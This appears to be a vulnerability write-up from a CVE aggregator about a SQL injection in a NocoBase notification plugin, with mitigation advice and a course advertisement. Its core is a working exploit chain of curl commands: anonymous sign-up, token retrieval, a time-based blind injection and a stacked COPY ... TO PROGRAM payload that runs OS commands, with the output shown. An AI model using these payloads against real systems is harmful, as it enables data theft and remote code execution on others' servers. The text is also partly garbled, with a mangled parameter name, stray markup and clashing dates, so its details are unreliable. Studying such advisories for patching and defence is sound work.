Listen to this Post
How CVE-2026-52887 Works
NocoBase versions prior to 2.0.61 contain a critical SQL injection vulnerability in the `@nocobase/plugin-notification-in-app-message` plugin. The flaw exists in the `GET /api/myInAppChannels:list` endpoint, which accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field takes the user-controlled `$lt` value and splices it directly into a `Sequelize.literal()` template string. This is done without any escaping, type casting, or parameter binding, making it vulnerable to SQL injection.
The action’s Access Control List (ACL) is set to loggedIn, meaning any authenticated account can reach it. Compounding this, the default `auth-basic` authenticator ships with allowSignUp: true, allowing an attacker to create an account anonymously. Once signed up, the attacker can sign in and obtain a valid JWT token.
The injection is triggered via the URL parameter filter
[$lt]=<expression></code>. The PostgreSQL driver used by Sequelize accepts stacked statements, enabling the attacker to chain boolean-based blind, time-based blind, and multi-statement payloads. Furthermore, the default `docker-compose.yml` configuration for NocoBase creates the database role `nocobase` on a stock `postgres:16` image. This role is created with the `rolsuper` (superuser) attribute by default. As a result, the `COPY ... TO PROGRAM '...'` command, which can be executed through the SQL injection, runs shell commands as the `postgres` user (uid=999) inside the database container.
The end result is that any anonymous visitor can sign up, sign in, and with a single HTTP GET request, exfiltrate arbitrary data or execute shell commands within the database container.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: NocoBase
Version: < 2.0.61
Vulnerability: SQL Injection
Severity: Critical
Date: 2026-07-15
<h2 style="color: blue;">Prediction: 2026-05-30 (Fixed)</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
[bash]
Anonymous sign-up
curl -X POST -H 'Content-Type: application/json' \
-d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signUp?authenticator=basic
Sign-in to obtain JWT
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
-d '{"account":"a","password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
Time-based blind SQL injection (5-second delay)
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[bash][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
Stacked query to execute OS command via COPY ... TO PROGRAM
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[bash][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
Verify command execution inside the container
docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt
Output: uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Root Cause Code (Vulnerable Snippet):
// packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63
Sequelize.literal(<code>${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}</code>)
Exploit:
An attacker can exploit this vulnerability by following these steps:
1. Anonymous Sign-Up: Create a new user account using the default `auth-basic` authenticator, which has allowSignUp: true.
2. Obtain JWT: Sign in with the newly created credentials to receive a valid authentication token.
3. Craft Malicious Request: Send a GET request to the `/api/myInAppChannels:list` endpoint. The request must include a valid `Authorization: Bearer
4. Execute SQL Injection: The unsanitized `$lt` value is injected into the `Sequelize.literal()` call. An attacker can use this to:
Perform boolean-based blind or time-based blind SQL injection to extract data.
Execute stacked queries to run arbitrary SQL statements, such as `COPY (SELECT ...) TO PROGRAM '...'` to run OS commands on the database server.
Protection:
- Upgrade: Immediately upgrade NocoBase to version 2.0.61 or later, which contains the official fix for this vulnerability.
- Configuration Change: As a temporary mitigation, disable public sign-ups by setting `allowSignUp: false` for the `auth-basic` authenticator in the application configuration.
- Network Segmentation: Restrict network access to the PostgreSQL database, limiting connections only to trusted application servers.
- Monitoring: Monitor for anomalous API usage patterns, such as requests to `/api/myInAppChannels:list` with unusual `filter` parameters, which could indicate an attempted exploit.
Impact:
- Data Breach: An attacker can read arbitrary rows from any collection, including sensitive data like PBKDF2 password hashes for super-admin accounts.
- Remote Code Execution: Due to the PostgreSQL superuser privileges, an attacker can use the `COPY ... TO PROGRAM` statement to execute arbitrary shell commands on the database server.
- Full System Compromise: Successful command execution on the database container could be used as a pivot point to attack other internal systems or further compromise the NocoBase application.
- Wide Attack Surface: The vulnerability is reachable by any authenticated user, including anonymously created accounts, making it trivially exploitable in default deployments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
